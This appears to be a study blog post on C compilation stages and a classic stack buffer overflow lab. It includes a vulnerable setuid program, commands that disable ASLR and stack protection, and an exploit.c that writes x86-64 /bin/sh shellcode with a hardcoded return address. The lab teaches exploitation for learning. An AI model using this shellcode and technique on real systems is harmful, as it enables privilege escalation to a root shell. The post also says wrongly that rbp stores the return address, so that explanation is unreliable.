Buffer overflow

176 阅读3分钟

Buffer overflow

From source code to executable

overview

image-20220520114220616

预处理 -> 编译 -> 编译 -> 链接

processor -> compiler -> assembler -> linker

source code(.c / .h) -> include header(.l / .ii) -> assembly code(.s) -> machine code(.o / .obj) -> executable code(.exe)

1. pre-processing

pre-processing will handle '#' directives, .h file will be included and the contained macros expanded

we can use -E to stop after pre-processing

e.g

hello.c

#include<stdio.h>int main() {
​
 printf("hello thy");
​
}

after gcc -E -o hello hello.c

image-20220520115351847

2. compilation

Compiler converts a high-level language into the specific instruction set of the target CPU

e.g. after gcc -S hello.c

    .file   "hello.c"
    .text
    .section    .rodata
.LC0:
    .string "hello thy"
    .text
    .globl  main
    .type   main, @function
main:
.LFB0:
    .cfi_startproc
    endbr64
    pushq   %rbp
    .cfi_def_cfa_offset 16
    .cfi_offset 6, -16
    movq    %rsp, %rbp
    .cfi_def_cfa_register 6
    leaq    .LC0(%rip), %rdi
    movl    $0, %eax
    call    printf@PLT
    movl    $0, %eax
    popq    %rbp
    .cfi_def_cfa 7, 8
    ret
    .cfi_endproc
.LFE0:
    .size   main, .-main
    .ident  "GCC: (Ubuntu 9.3.0-17ubuntu1~20.04) 9.3.0"
    .section    .note.GNU-stack,"",@progbits
    .section    .note.gnu.property,"a"
    .align 8
    .long    1f - 0f
    .long    4f - 1f
    .long    5
0:
    .string  "GNU"
1:
    .align 8
    .long    0xc0000002
    .long    3f - 2f
2:
    .long    0x3
3:
    .align 8
4:
​

Assembler

Assembler translates assembly to binary

use gcc -c hello.c to get hello.o file

Linker

Linker puts binary together with startup code and required libraries

gcc -o hello hello.o, the result file is the same as gcc -o hello hello.c

preliminaries

common registers in x86

  • AX,BX,CX,DX: general purpose register
  • SP: points to the top of the stack
  • SI,DI,BX,BP: address register, also may be used for array indexing
  • CS,DS,SS,ES: segment registers for code / data / stack / extra segment
  • IP: instruction pointer

memory structure

  • stack segment
  • data segment
  • code segment

frame:

when function is called, a new frame is pushed into stack, when return, the frame is popped up

contents of frame

  • parameters of current function
  • return address: where to go when rhe function return
  • previous frame address
  • local variable of current function

buffer overflow

since the rbp register is used to store the return address, what we need to do is to overwrite the return address with the address of the function we want to call

some functions do not rule the length of aeguments, e.g:

int bof(char *str)
{
  char buffer[12];
  
  /*The following statement has a buffer overflow problem*/
  strcpy(buffer, str);
  return 1;
}

we can input a string longer than length 12, and the program will crash

example

consider the following code

/*stack.c*/
/*This program has a buffer overflow vulnerability.*/
/*Our task is to exploit this vulnerability*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(char *str)
{
  char buffer[12];
  
  /*The following statement has a buffer overflow problem*/
  strcpy(buffer, str);
  return 1;
}
int main(int argc, char **argv)
{
  char str[517];
  FILE *badfile;
  
  badfile = fopen("badfile", "r");
  fread(str, sizeof(char), 517, badfile);
  bof(str);
  printf("Returned Properly\n");
  return 1;
}

what we want to do, is to open the shell in this program

  1. Ubuntu and several other Linux-based systems uses address space randomization to randomize the starting address of heap and stack. This makes guessing the exact addresses difficult; guessing addresses is one of the critical steps of buffer-overflow attacks. In this lab, we disable these features using the following commands:sudo sysctl -w kernel.randomize_va_space=0

  2. Compile the Vulnerable Program and make it set-root-uid. You can achieve this by compiling it in the root account, and chmod the executable to 4755:

    gcc -o stack -z execstack -fno-stack-protector stack.c
    chmod 4755 stack
    
  3. run the program in gdb, see the asm code of bof function

    gdb stack
    disass bof
    

    20220528231813

  4. set the breakpoint: break *bof+27

  5. run and see the value of rax register and rbp register 20220528232044

  6. we can use the following code to construct a exploit

    /*exploit.c*/
    /*A program that creates a file containing code for launching shell*/
    #include <stdlib.h>
    #include <stdio.h>
    #include <string.h>
    const char code[] =
    
"\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x6a\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05"
;
void main(int argc, char **argv) {
    char buffer[517]; 
    FILE *badfile;
  
    /* Initialize buffer with 0x90 (NOP instruction) */
    memset(&buffer, 0x90, 517);
  
    /* You need to fill the buffer with appropriate contents here */
    strcpy(buffer+0x14,"\xa4\xdc\xfe\xff\xff\x7f");
    strcpy(buffer+0x100,code);
​
    /* Save the contents to the file "badfile" */
    badfile = fopen("./badfile", "w");
    fwrite(buffer, 517, 1, badfile);
    fclose(badfile);
}
   \xa4\xdc\xfe\xff\xff\x7f is the address we want to overwrite, because 0x7ffffffedba4 + 0x100 = 0x7ffffffedca4.
   and the 0x14 comes from 0xc + 8 = 0x14, because our system is 64 bit
7. run 
   ```shell
   gcc -o exploit exploit.c
   ./exploit
   ./stack

complete the attack